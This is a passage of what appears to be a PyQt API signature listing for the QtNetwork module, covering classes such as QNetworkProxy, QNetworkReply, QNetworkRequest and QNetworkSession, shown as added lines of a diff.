+QtNetwork.QNetworkDatagram.hopLimit?4() -> int +QtNetwork.QNetworkDatagram.setHopLimit?4(int) +QtNetwork.QNetworkDatagram.data?4() -> QByteArray +QtNetwork.QNetworkDatagram.setData?4(QByteArray) +QtNetwork.QNetworkDatagram.makeReply?4(QByteArray) -> QNetworkDatagram +QtNetwork.QNetworkDiskCache?1(QObject parent=None) +QtNetwork.QNetworkDiskCache.__init__?1(self, QObject parent=None) +QtNetwork.QNetworkDiskCache.cacheDirectory?4() -> QString +QtNetwork.QNetworkDiskCache.setCacheDirectory?4(QString) +QtNetwork.QNetworkDiskCache.maximumCacheSize?4() -> int +QtNetwork.QNetworkDiskCache.setMaximumCacheSize?4(int) +QtNetwork.QNetworkDiskCache.cacheSize?4() -> int +QtNetwork.QNetworkDiskCache.metaData?4(QUrl) -> QNetworkCacheMetaData +QtNetwork.QNetworkDiskCache.updateMetaData?4(QNetworkCacheMetaData) +QtNetwork.QNetworkDiskCache.data?4(QUrl) -> QIODevice +QtNetwork.QNetworkDiskCache.remove?4(QUrl) -> bool +QtNetwork.QNetworkDiskCache.prepare?4(QNetworkCacheMetaData) -> QIODevice +QtNetwork.QNetworkDiskCache.insert?4(QIODevice) +QtNetwork.QNetworkDiskCache.fileMetaData?4(QString) -> QNetworkCacheMetaData +QtNetwork.QNetworkDiskCache.clear?4() +QtNetwork.QNetworkDiskCache.expire?4() -> int +QtNetwork.QNetworkAddressEntry.DnsEligibilityStatus?10 +QtNetwork.QNetworkAddressEntry.DnsEligibilityStatus.DnsEligibilityUnknown?10 +QtNetwork.QNetworkAddressEntry.DnsEligibilityStatus.DnsIneligible?10 +QtNetwork.QNetworkAddressEntry.DnsEligibilityStatus.DnsEligible?10 +QtNetwork.QNetworkAddressEntry?1() +QtNetwork.QNetworkAddressEntry.__init__?1(self) +QtNetwork.QNetworkAddressEntry?1(QNetworkAddressEntry) +QtNetwork.QNetworkAddressEntry.__init__?1(self, QNetworkAddressEntry) +QtNetwork.QNetworkAddressEntry.ip?4() -> QHostAddress +QtNetwork.QNetworkAddressEntry.setIp?4(QHostAddress) +QtNetwork.QNetworkAddressEntry.netmask?4() -> QHostAddress +QtNetwork.QNetworkAddressEntry.setNetmask?4(QHostAddress) +QtNetwork.QNetworkAddressEntry.broadcast?4() -> QHostAddress +QtNetwork.QNetworkAddressEntry.setBroadcast?4(QHostAddress) +QtNetwork.QNetworkAddressEntry.prefixLength?4() -> int +QtNetwork.QNetworkAddressEntry.setPrefixLength?4(int) +QtNetwork.QNetworkAddressEntry.swap?4(QNetworkAddressEntry) +QtNetwork.QNetworkAddressEntry.dnsEligibility?4() -> QNetworkAddressEntry.DnsEligibilityStatus +QtNetwork.QNetworkAddressEntry.setDnsEligibility?4(QNetworkAddressEntry.DnsEligibilityStatus) +QtNetwork.QNetworkAddressEntry.isLifetimeKnown?4() -> bool +QtNetwork.QNetworkAddressEntry.preferredLifetime?4() -> QDeadlineTimer +QtNetwork.QNetworkAddressEntry.validityLifetime?4() -> QDeadlineTimer +QtNetwork.QNetworkAddressEntry.setAddressLifetime?4(QDeadlineTimer, QDeadlineTimer) +QtNetwork.QNetworkAddressEntry.clearAddressLifetime?4() +QtNetwork.QNetworkAddressEntry.isPermanent?4() -> bool +QtNetwork.QNetworkAddressEntry.isTemporary?4() -> bool +QtNetwork.QNetworkInterface.InterfaceType?10 +QtNetwork.QNetworkInterface.InterfaceType.Unknown?10 +QtNetwork.QNetworkInterface.InterfaceType.Loopback?10 +QtNetwork.QNetworkInterface.InterfaceType.Virtual?10 +QtNetwork.QNetworkInterface.InterfaceType.Ethernet?10 +QtNetwork.QNetworkInterface.InterfaceType.Slip?10 +QtNetwork.QNetworkInterface.InterfaceType.CanBus?10 +QtNetwork.QNetworkInterface.InterfaceType.Ppp?10 +QtNetwork.QNetworkInterface.InterfaceType.Fddi?10 +QtNetwork.QNetworkInterface.InterfaceType.Wifi?10 +QtNetwork.QNetworkInterface.InterfaceType.Ieee80211?10 +QtNetwork.QNetworkInterface.InterfaceType.Phonet?10 +QtNetwork.QNetworkInterface.InterfaceType.Ieee802154?10 +QtNetwork.QNetworkInterface.InterfaceType.SixLoWPAN?10 +QtNetwork.QNetworkInterface.InterfaceType.Ieee80216?10 +QtNetwork.QNetworkInterface.InterfaceType.Ieee1394?10 +QtNetwork.QNetworkInterface.InterfaceFlag?10 +QtNetwork.QNetworkInterface.InterfaceFlag.IsUp?10 +QtNetwork.QNetworkInterface.InterfaceFlag.IsRunning?10 +QtNetwork.QNetworkInterface.InterfaceFlag.CanBroadcast?10 +QtNetwork.QNetworkInterface.InterfaceFlag.IsLoopBack?10 +QtNetwork.QNetworkInterface.InterfaceFlag.IsPointToPoint?10 +QtNetwork.QNetworkInterface.InterfaceFlag.CanMulticast?10 +QtNetwork.QNetworkInterface?1() +QtNetwork.QNetworkInterface.__init__?1(self) +QtNetwork.QNetworkInterface?1(QNetworkInterface) +QtNetwork.QNetworkInterface.__init__?1(self, QNetworkInterface) +QtNetwork.QNetworkInterface.isValid?4() -> bool +QtNetwork.QNetworkInterface.name?4() -> QString +QtNetwork.QNetworkInterface.flags?4() -> QNetworkInterface.InterfaceFlags +QtNetwork.QNetworkInterface.hardwareAddress?4() -> QString +QtNetwork.QNetworkInterface.addressEntries?4() -> unknown-type +QtNetwork.QNetworkInterface.interfaceFromName?4(QString) -> QNetworkInterface +QtNetwork.QNetworkInterface.interfaceFromIndex?4(int) -> QNetworkInterface +QtNetwork.QNetworkInterface.allInterfaces?4() -> unknown-type +QtNetwork.QNetworkInterface.allAddresses?4() -> unknown-type +QtNetwork.QNetworkInterface.index?4() -> int +QtNetwork.QNetworkInterface.humanReadableName?4() -> QString +QtNetwork.QNetworkInterface.swap?4(QNetworkInterface) +QtNetwork.QNetworkInterface.interfaceIndexFromName?4(QString) -> int +QtNetwork.QNetworkInterface.interfaceNameFromIndex?4(int) -> QString +QtNetwork.QNetworkInterface.type?4() -> QNetworkInterface.InterfaceType +QtNetwork.QNetworkInterface.maximumTransmissionUnit?4() -> int +QtNetwork.QNetworkInterface.InterfaceFlags?1() +QtNetwork.QNetworkInterface.InterfaceFlags.__init__?1(self) +QtNetwork.QNetworkInterface.InterfaceFlags?1(int) +QtNetwork.QNetworkInterface.InterfaceFlags.__init__?1(self, int) +QtNetwork.QNetworkInterface.InterfaceFlags?1(QNetworkInterface.InterfaceFlags) +QtNetwork.QNetworkInterface.InterfaceFlags.__init__?1(self, QNetworkInterface.InterfaceFlags) +QtNetwork.QNetworkProxy.Capability?10 +QtNetwork.QNetworkProxy.Capability.TunnelingCapability?10 +QtNetwork.QNetworkProxy.Capability.ListeningCapability?10 +QtNetwork.QNetworkProxy.Capability.UdpTunnelingCapability?10 +QtNetwork.QNetworkProxy.Capability.CachingCapability?10 +QtNetwork.QNetworkProxy.Capability.HostNameLookupCapability?10 +QtNetwork.QNetworkProxy.Capability.SctpTunnelingCapability?10 +QtNetwork.QNetworkProxy.Capability.SctpListeningCapability?10 +QtNetwork.QNetworkProxy.ProxyType?10 +QtNetwork.QNetworkProxy.ProxyType.DefaultProxy?10 +QtNetwork.QNetworkProxy.ProxyType.Socks5Proxy?10 +QtNetwork.QNetworkProxy.ProxyType.NoProxy?10 +QtNetwork.QNetworkProxy.ProxyType.HttpProxy?10 +QtNetwork.QNetworkProxy.ProxyType.HttpCachingProxy?10 +QtNetwork.QNetworkProxy.ProxyType.FtpCachingProxy?10 +QtNetwork.QNetworkProxy?1() +QtNetwork.QNetworkProxy.__init__?1(self) +QtNetwork.QNetworkProxy?1(QNetworkProxy.ProxyType, QString hostName='', int port=0, QString user='', QString password='') +QtNetwork.QNetworkProxy.__init__?1(self, QNetworkProxy.ProxyType, QString hostName='', int port=0, QString user='', QString password='') +QtNetwork.QNetworkProxy?1(QNetworkProxy) +QtNetwork.QNetworkProxy.__init__?1(self, QNetworkProxy) +QtNetwork.QNetworkProxy.setType?4(QNetworkProxy.ProxyType) +QtNetwork.QNetworkProxy.type?4() -> QNetworkProxy.ProxyType +QtNetwork.QNetworkProxy.setUser?4(QString) +QtNetwork.QNetworkProxy.user?4() -> QString +QtNetwork.QNetworkProxy.setPassword?4(QString) +QtNetwork.QNetworkProxy.password?4() -> QString +QtNetwork.QNetworkProxy.setHostName?4(QString) +QtNetwork.QNetworkProxy.hostName?4() -> QString +QtNetwork.QNetworkProxy.setPort?4(int) +QtNetwork.QNetworkProxy.port?4() -> int +QtNetwork.QNetworkProxy.setApplicationProxy?4(QNetworkProxy) +QtNetwork.QNetworkProxy.applicationProxy?4() -> QNetworkProxy +QtNetwork.QNetworkProxy.isCachingProxy?4() -> bool +QtNetwork.QNetworkProxy.isTransparentProxy?4() -> bool +QtNetwork.QNetworkProxy.setCapabilities?4(QNetworkProxy.Capabilities) +QtNetwork.QNetworkProxy.capabilities?4() -> QNetworkProxy.Capabilities +QtNetwork.QNetworkProxy.swap?4(QNetworkProxy) +QtNetwork.QNetworkProxy.header?4(QNetworkRequest.KnownHeaders) -> QVariant +QtNetwork.QNetworkProxy.setHeader?4(QNetworkRequest.KnownHeaders, QVariant) +QtNetwork.QNetworkProxy.hasRawHeader?4(QByteArray) -> bool +QtNetwork.QNetworkProxy.rawHeaderList?4() -> unknown-type +QtNetwork.QNetworkProxy.rawHeader?4(QByteArray) -> QByteArray +QtNetwork.QNetworkProxy.setRawHeader?4(QByteArray, QByteArray) +QtNetwork.QNetworkProxy.Capabilities?1() +QtNetwork.QNetworkProxy.Capabilities.__init__?1(self) +QtNetwork.QNetworkProxy.Capabilities?1(int) +QtNetwork.QNetworkProxy.Capabilities.__init__?1(self, int) +QtNetwork.QNetworkProxy.Capabilities?1(QNetworkProxy.Capabilities) +QtNetwork.QNetworkProxy.Capabilities.__init__?1(self, QNetworkProxy.Capabilities) +QtNetwork.QNetworkProxyQuery.QueryType?10 +QtNetwork.QNetworkProxyQuery.QueryType.TcpSocket?10 +QtNetwork.QNetworkProxyQuery.QueryType.UdpSocket?10 +QtNetwork.QNetworkProxyQuery.QueryType.TcpServer?10 +QtNetwork.QNetworkProxyQuery.QueryType.UrlRequest?10 +QtNetwork.QNetworkProxyQuery.QueryType.SctpSocket?10 +QtNetwork.QNetworkProxyQuery.QueryType.SctpServer?10 +QtNetwork.QNetworkProxyQuery?1() +QtNetwork.QNetworkProxyQuery.__init__?1(self) +QtNetwork.QNetworkProxyQuery?1(QUrl, QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.UrlRequest) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QUrl, QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.UrlRequest) +QtNetwork.QNetworkProxyQuery?1(QString, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpSocket) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QString, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpSocket) +QtNetwork.QNetworkProxyQuery?1(int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpServer) +QtNetwork.QNetworkProxyQuery.__init__?1(self, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpServer) +QtNetwork.QNetworkProxyQuery?1(QNetworkConfiguration, QUrl, QNetworkProxyQuery.QueryType queryType=QNetworkProxyQuery.UrlRequest) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QNetworkConfiguration, QUrl, QNetworkProxyQuery.QueryType queryType=QNetworkProxyQuery.UrlRequest) +QtNetwork.QNetworkProxyQuery?1(QNetworkConfiguration, QString, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpSocket) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QNetworkConfiguration, QString, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpSocket) +QtNetwork.QNetworkProxyQuery?1(QNetworkConfiguration, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpServer) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QNetworkConfiguration, int, QString protocolTag='', QNetworkProxyQuery.QueryType type=QNetworkProxyQuery.TcpServer) +QtNetwork.QNetworkProxyQuery?1(QNetworkProxyQuery) +QtNetwork.QNetworkProxyQuery.__init__?1(self, QNetworkProxyQuery) +QtNetwork.QNetworkProxyQuery.queryType?4() -> QNetworkProxyQuery.QueryType +QtNetwork.QNetworkProxyQuery.setQueryType?4(QNetworkProxyQuery.QueryType) +QtNetwork.QNetworkProxyQuery.peerPort?4() -> int +QtNetwork.QNetworkProxyQuery.setPeerPort?4(int) +QtNetwork.QNetworkProxyQuery.peerHostName?4() -> QString +QtNetwork.QNetworkProxyQuery.setPeerHostName?4(QString) +QtNetwork.QNetworkProxyQuery.localPort?4() -> int +QtNetwork.QNetworkProxyQuery.setLocalPort?4(int) +QtNetwork.QNetworkProxyQuery.protocolTag?4() -> QString +QtNetwork.QNetworkProxyQuery.setProtocolTag?4(QString) +QtNetwork.QNetworkProxyQuery.url?4() -> QUrl +QtNetwork.QNetworkProxyQuery.setUrl?4(QUrl) +QtNetwork.QNetworkProxyQuery.networkConfiguration?4() -> QNetworkConfiguration +QtNetwork.QNetworkProxyQuery.setNetworkConfiguration?4(QNetworkConfiguration) +QtNetwork.QNetworkProxyQuery.swap?4(QNetworkProxyQuery) +QtNetwork.QNetworkProxyFactory?1() +QtNetwork.QNetworkProxyFactory.__init__?1(self) +QtNetwork.QNetworkProxyFactory?1(QNetworkProxyFactory) +QtNetwork.QNetworkProxyFactory.__init__?1(self, QNetworkProxyFactory) +QtNetwork.QNetworkProxyFactory.queryProxy?4(QNetworkProxyQuery query=QNetworkProxyQuery()) -> unknown-type +QtNetwork.QNetworkProxyFactory.setApplicationProxyFactory?4(QNetworkProxyFactory) +QtNetwork.QNetworkProxyFactory.proxyForQuery?4(QNetworkProxyQuery) -> unknown-type +QtNetwork.QNetworkProxyFactory.systemProxyForQuery?4(QNetworkProxyQuery query=QNetworkProxyQuery()) -> unknown-type +QtNetwork.QNetworkProxyFactory.setUseSystemConfiguration?4(bool) +QtNetwork.QNetworkProxyFactory.usesSystemConfiguration?4() -> bool +QtNetwork.QNetworkReply.NetworkError?10 +QtNetwork.QNetworkReply.NetworkError.NoError?10 +QtNetwork.QNetworkReply.NetworkError.ConnectionRefusedError?10 +QtNetwork.QNetworkReply.NetworkError.RemoteHostClosedError?10 +QtNetwork.QNetworkReply.NetworkError.HostNotFoundError?10 +QtNetwork.QNetworkReply.NetworkError.TimeoutError?10 +QtNetwork.QNetworkReply.NetworkError.OperationCanceledError?10 +QtNetwork.QNetworkReply.NetworkError.SslHandshakeFailedError?10 +QtNetwork.QNetworkReply.NetworkError.UnknownNetworkError?10 +QtNetwork.QNetworkReply.NetworkError.ProxyConnectionRefusedError?10 +QtNetwork.QNetworkReply.NetworkError.ProxyConnectionClosedError?10 +QtNetwork.QNetworkReply.NetworkError.ProxyNotFoundError?10 +QtNetwork.QNetworkReply.NetworkError.ProxyTimeoutError?10 +QtNetwork.QNetworkReply.NetworkError.ProxyAuthenticationRequiredError?10 +QtNetwork.QNetworkReply.NetworkError.UnknownProxyError?10 +QtNetwork.QNetworkReply.NetworkError.ContentAccessDenied?10 +QtNetwork.QNetworkReply.NetworkError.ContentOperationNotPermittedError?10 +QtNetwork.QNetworkReply.NetworkError.ContentNotFoundError?10 +QtNetwork.QNetworkReply.NetworkError.AuthenticationRequiredError?10 +QtNetwork.QNetworkReply.NetworkError.UnknownContentError?10 +QtNetwork.QNetworkReply.NetworkError.ProtocolUnknownError?10 +QtNetwork.QNetworkReply.NetworkError.ProtocolInvalidOperationError?10 +QtNetwork.QNetworkReply.NetworkError.ProtocolFailure?10 +QtNetwork.QNetworkReply.NetworkError.ContentReSendError?10 +QtNetwork.QNetworkReply.NetworkError.TemporaryNetworkFailureError?10 +QtNetwork.QNetworkReply.NetworkError.NetworkSessionFailedError?10 +QtNetwork.QNetworkReply.NetworkError.BackgroundRequestNotAllowedError?10 +QtNetwork.QNetworkReply.NetworkError.ContentConflictError?10 +QtNetwork.QNetworkReply.NetworkError.ContentGoneError?10 +QtNetwork.QNetworkReply.NetworkError.InternalServerError?10 +QtNetwork.QNetworkReply.NetworkError.OperationNotImplementedError?10 +QtNetwork.QNetworkReply.NetworkError.ServiceUnavailableError?10 +QtNetwork.QNetworkReply.NetworkError.UnknownServerError?10 +QtNetwork.QNetworkReply.NetworkError.TooManyRedirectsError?10 +QtNetwork.QNetworkReply.NetworkError.InsecureRedirectError?10 +QtNetwork.QNetworkReply?1(QObject parent=None) +QtNetwork.QNetworkReply.__init__?1(self, QObject parent=None) +QtNetwork.QNetworkReply.abort?4() +QtNetwork.QNetworkReply.close?4() +QtNetwork.QNetworkReply.isSequential?4() -> bool +QtNetwork.QNetworkReply.readBufferSize?4() -> int +QtNetwork.QNetworkReply.setReadBufferSize?4(int) +QtNetwork.QNetworkReply.manager?4() -> QNetworkAccessManager +QtNetwork.QNetworkReply.operation?4() -> QNetworkAccessManager.Operation +QtNetwork.QNetworkReply.request?4() -> QNetworkRequest +QtNetwork.QNetworkReply.error?4() -> QNetworkReply.NetworkError +QtNetwork.QNetworkReply.url?4() -> QUrl +QtNetwork.QNetworkReply.header?4(QNetworkRequest.KnownHeaders) -> QVariant +QtNetwork.QNetworkReply.hasRawHeader?4(QByteArray) -> bool +QtNetwork.QNetworkReply.rawHeaderList?4() -> unknown-type +QtNetwork.QNetworkReply.rawHeader?4(QByteArray) -> QByteArray +QtNetwork.QNetworkReply.attribute?4(QNetworkRequest.Attribute) -> QVariant +QtNetwork.QNetworkReply.sslConfiguration?4() -> QSslConfiguration +QtNetwork.QNetworkReply.setSslConfiguration?4(QSslConfiguration) +QtNetwork.QNetworkReply.ignoreSslErrors?4() +QtNetwork.QNetworkReply.metaDataChanged?4() +QtNetwork.QNetworkReply.finished?4() +QtNetwork.QNetworkReply.encrypted?4() +QtNetwork.QNetworkReply.error?4(QNetworkReply.NetworkError) +QtNetwork.QNetworkReply.errorOccurred?4(QNetworkReply.NetworkError) +QtNetwork.QNetworkReply.sslErrors?4(unknown-type) +QtNetwork.QNetworkReply.uploadProgress?4(int, int) +QtNetwork.QNetworkReply.downloadProgress?4(int, int) +QtNetwork.QNetworkReply.preSharedKeyAuthenticationRequired?4(QSslPreSharedKeyAuthenticator) +QtNetwork.QNetworkReply.redirected?4(QUrl) +QtNetwork.QNetworkReply.redirectAllowed?4() +QtNetwork.QNetworkReply.writeData?4(bytes) -> int +QtNetwork.QNetworkReply.setOperation?4(QNetworkAccessManager.Operation) +QtNetwork.QNetworkReply.setRequest?4(QNetworkRequest) +QtNetwork.QNetworkReply.setError?4(QNetworkReply.NetworkError, QString) +QtNetwork.QNetworkReply.setUrl?4(QUrl) +QtNetwork.QNetworkReply.setHeader?4(QNetworkRequest.KnownHeaders, QVariant) +QtNetwork.QNetworkReply.setRawHeader?4(QByteArray, QByteArray) +QtNetwork.QNetworkReply.setAttribute?4(QNetworkRequest.Attribute, QVariant) +QtNetwork.QNetworkReply.setFinished?4(bool) +QtNetwork.QNetworkReply.isFinished?4() -> bool +QtNetwork.QNetworkReply.isRunning?4() -> bool +QtNetwork.QNetworkReply.ignoreSslErrors?4(unknown-type) +QtNetwork.QNetworkReply.rawHeaderPairs?4() -> unknown-type +QtNetwork.QNetworkReply.sslConfigurationImplementation?4(QSslConfiguration) +QtNetwork.QNetworkReply.setSslConfigurationImplementation?4(QSslConfiguration) +QtNetwork.QNetworkReply.ignoreSslErrorsImplementation?4(unknown-type) +QtNetwork.QNetworkRequest.TransferTimeoutConstant?10 +QtNetwork.QNetworkRequest.TransferTimeoutConstant.DefaultTransferTimeoutConstant?10 +QtNetwork.QNetworkRequest.RedirectPolicy?10 +QtNetwork.QNetworkRequest.RedirectPolicy.ManualRedirectPolicy?10 +QtNetwork.QNetworkRequest.RedirectPolicy.NoLessSafeRedirectPolicy?10 +QtNetwork.QNetworkRequest.RedirectPolicy.SameOriginRedirectPolicy?10 +QtNetwork.QNetworkRequest.RedirectPolicy.UserVerifiedRedirectPolicy?10 +QtNetwork.QNetworkRequest.Priority?10 +QtNetwork.QNetworkRequest.Priority.HighPriority?10 +QtNetwork.QNetworkRequest.Priority.NormalPriority?10 +QtNetwork.QNetworkRequest.Priority.LowPriority?10 +QtNetwork.QNetworkRequest.LoadControl?10 +QtNetwork.QNetworkRequest.LoadControl.Automatic?10 +QtNetwork.QNetworkRequest.LoadControl.Manual?10 +QtNetwork.QNetworkRequest.CacheLoadControl?10 +QtNetwork.QNetworkRequest.CacheLoadControl.AlwaysNetwork?10 +QtNetwork.QNetworkRequest.CacheLoadControl.PreferNetwork?10 +QtNetwork.QNetworkRequest.CacheLoadControl.PreferCache?10 +QtNetwork.QNetworkRequest.CacheLoadControl.AlwaysCache?10 +QtNetwork.QNetworkRequest.Attribute?10 +QtNetwork.QNetworkRequest.Attribute.HttpStatusCodeAttribute?10 +QtNetwork.QNetworkRequest.Attribute.HttpReasonPhraseAttribute?10 +QtNetwork.QNetworkRequest.Attribute.RedirectionTargetAttribute?10 +QtNetwork.QNetworkRequest.Attribute.ConnectionEncryptedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.CacheLoadControlAttribute?10 +QtNetwork.QNetworkRequest.Attribute.CacheSaveControlAttribute?10 +QtNetwork.QNetworkRequest.Attribute.SourceIsFromCacheAttribute?10 +QtNetwork.QNetworkRequest.Attribute.DoNotBufferUploadDataAttribute?10 +QtNetwork.QNetworkRequest.Attribute.HttpPipeliningAllowedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.HttpPipeliningWasUsedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.CustomVerbAttribute?10 +QtNetwork.QNetworkRequest.Attribute.CookieLoadControlAttribute?10 +QtNetwork.QNetworkRequest.Attribute.AuthenticationReuseAttribute?10 +QtNetwork.QNetworkRequest.Attribute.CookieSaveControlAttribute?10 +QtNetwork.QNetworkRequest.Attribute.BackgroundRequestAttribute?10 +QtNetwork.QNetworkRequest.Attribute.SpdyAllowedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.SpdyWasUsedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.EmitAllUploadProgressSignalsAttribute?10 +QtNetwork.QNetworkRequest.Attribute.FollowRedirectsAttribute?10 +QtNetwork.QNetworkRequest.Attribute.HTTP2AllowedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.Http2AllowedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.HTTP2WasUsedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.Http2WasUsedAttribute?10 +QtNetwork.QNetworkRequest.Attribute.OriginalContentLengthAttribute?10 +QtNetwork.QNetworkRequest.Attribute.RedirectPolicyAttribute?10 +QtNetwork.QNetworkRequest.Attribute.Http2DirectAttribute?10 +QtNetwork.QNetworkRequest.Attribute.AutoDeleteReplyOnFinishAttribute?10 +QtNetwork.QNetworkRequest.Attribute.User?10 +QtNetwork.QNetworkRequest.Attribute.UserMax?10 +QtNetwork.QNetworkRequest.KnownHeaders?10 +QtNetwork.QNetworkRequest.KnownHeaders.ContentTypeHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.ContentLengthHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.LocationHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.LastModifiedHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.CookieHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.SetCookieHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.ContentDispositionHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.UserAgentHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.ServerHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.IfModifiedSinceHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.ETagHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.IfMatchHeader?10 +QtNetwork.QNetworkRequest.KnownHeaders.IfNoneMatchHeader?10 +QtNetwork.QNetworkRequest?1(QUrl url=QUrl()) +QtNetwork.QNetworkRequest.__init__?1(self, QUrl url=QUrl()) +QtNetwork.QNetworkRequest?1(QNetworkRequest) +QtNetwork.QNetworkRequest.__init__?1(self, QNetworkRequest) +QtNetwork.QNetworkRequest.url?4() -> QUrl +QtNetwork.QNetworkRequest.setUrl?4(QUrl) +QtNetwork.QNetworkRequest.header?4(QNetworkRequest.KnownHeaders) -> QVariant +QtNetwork.QNetworkRequest.setHeader?4(QNetworkRequest.KnownHeaders, QVariant) +QtNetwork.QNetworkRequest.hasRawHeader?4(QByteArray) -> bool +QtNetwork.QNetworkRequest.rawHeaderList?4() -> unknown-type +QtNetwork.QNetworkRequest.rawHeader?4(QByteArray) -> QByteArray +QtNetwork.QNetworkRequest.setRawHeader?4(QByteArray, QByteArray) +QtNetwork.QNetworkRequest.attribute?4(QNetworkRequest.Attribute, QVariant defaultValue=None) -> QVariant +QtNetwork.QNetworkRequest.setAttribute?4(QNetworkRequest.Attribute, QVariant) +QtNetwork.QNetworkRequest.sslConfiguration?4() -> QSslConfiguration +QtNetwork.QNetworkRequest.setSslConfiguration?4(QSslConfiguration) +QtNetwork.QNetworkRequest.setOriginatingObject?4(QObject) +QtNetwork.QNetworkRequest.originatingObject?4() -> QObject +QtNetwork.QNetworkRequest.priority?4() -> QNetworkRequest.Priority +QtNetwork.QNetworkRequest.setPriority?4(QNetworkRequest.Priority) +QtNetwork.QNetworkRequest.swap?4(QNetworkRequest) +QtNetwork.QNetworkRequest.maximumRedirectsAllowed?4() -> int +QtNetwork.QNetworkRequest.setMaximumRedirectsAllowed?4(int) +QtNetwork.QNetworkRequest.peerVerifyName?4() -> QString +QtNetwork.QNetworkRequest.setPeerVerifyName?4(QString) +QtNetwork.QNetworkRequest.http2Configuration?4() -> QHttp2Configuration +QtNetwork.QNetworkRequest.setHttp2Configuration?4(QHttp2Configuration) +QtNetwork.QNetworkRequest.transferTimeout?4() -> int +QtNetwork.QNetworkRequest.setTransferTimeout?4(int timeout=QNetworkRequest.TransferTimeoutConstant.DefaultTransferTimeoutConstant) +QtNetwork.QNetworkSession.UsagePolicy?10 +QtNetwork.QNetworkSession.UsagePolicy.NoPolicy?10 +QtNetwork.QNetworkSession.UsagePolicy.NoBackgroundTrafficPolicy?10 +QtNetwork.QNetworkSession.SessionError?10 +QtNetwork.QNetworkSession.SessionError.UnknownSessionError?10 +QtNetwork.QNetworkSession.SessionError.SessionAbortedError?10 +QtNetwork.QNetworkSession.SessionError.RoamingError?10 +QtNetwork.QNetworkSession.SessionError.OperationNotSupportedError?10 +QtNetwork.QNetworkSession.SessionError.InvalidConfigurationError?10 +QtNetwork.QNetworkSession.State?10 +QtNetwork.QNetworkSession.State.Invalid?10 +QtNetwork.QNetworkSession.State.NotAvailable?10 +QtNetwork.QNetworkSession.State.Connecting?10 +QtNetwork.QNetworkSession.State.Connected?10 +QtNetwork.QNetworkSession.State.Closing?10 +QtNetwork.QNetworkSession.State.Disconnected?10 +QtNetwork.QNetworkSession.State.Roaming?10 +QtNetwork.QNetworkSession?1(QNetworkConfiguration, QObject parent=None) +QtNetwork.QNetworkSession.__init__?1(self, QNetworkConfiguration, QObject parent=None) +QtNetwork.QNetworkSession.isOpen?4() -> bool +QtNetwork.QNetworkSession.configuration?4() -> QNetworkConfiguration +QtNetwork.QNetworkSession.interface?4() -> QNetworkInterface +QtNetwork.QNetworkSession.state?4() -> QNetworkSession.State +QtNetwork.QNetworkSession.error?4() -> QNetworkSession.SessionError +QtNetwork.QNetworkSession.errorString?4() -> QString +QtNetwork.QNetworkSession.sessionProperty?4(QString) -> QVariant +QtNetwork.QNetworkSession.setSessionProperty?4(QString, QVariant) +QtNetwork.QNetworkSession.bytesWritten?4() -> int +QtNetwork.QNetworkSession.bytesReceived?4() -> int +QtNetwork.QNetworkSession.activeTime?4() -> int +QtNetwork.QNetworkSession.waitForOpened?4(int msecs=30000) -> bool +QtNetwork.QNetworkSession.open?4() +QtNetwork.QNetworkSession.close?4() +QtNetwork.QNetworkSession.stop?4() +QtNetwork.QNetworkSession.migrate?4() +QtNetwork.QNetworkSession.ignore?4() +QtNetwork.QNetworkSession.accept?4() +QtNetwork.QNetworkSession.reject?4() +QtNetwork.QNetworkSession.stateChanged?4(QNetworkSession.State) +QtNetwork.QNetworkSession.opened?4() +QtNetwork.QNetworkSession.closed?4() +QtNetwork.QNetworkSession.error?4(QNetworkSession.SessionError) +QtNetwork.QNetworkSession.preferredConfigurationChanged?4(QNetworkConfiguration, bool) +QtNetwork.QNetworkSession.newConfigurationActivated?4() +QtNetwork.QNetworkSession.connectNotify?4(QMetaMethod) +QtNetwork.QNetworkSession.disconnectNotify?4(QMetaMethod) +QtNetwork.QNetworkSession.usagePolicies?4() -> QNetworkSession.UsagePolicies +QtNetwork.QNetworkSession.usagePoliciesChanged?4(QNetworkSession.UsagePolicies) +QtNetwork.QNetworkSession.UsagePolicies?1() +QtNetwork.QNetworkSession.UsagePolicies.__init__?1(self) +QtNetwork.QNetworkSession.UsagePolicies?1(int) +QtNetwork.QNetworkSession.UsagePolicies.__init__?1(self, int) +QtNetwork.QNetworkSession.UsagePolicies?1(QNetworkSession.UsagePolicies) +QtNetwork.QNetworkSession.UsagePolicies.__init__?1(self, QNetworkSession.UsagePolicies) +QtNetwork.QOcspResponse?1() +QtNetwork.QOcspResponse.__init__?1(self) +QtNetwork.QOcspResponse?1(QOcspResponse) +QtNetwork.QOcspResponse.__init__?1(self, QOcspResponse) +QtNetwork.QOcspResponse.certificateStatus?4() -> QOcspCertificateStatus 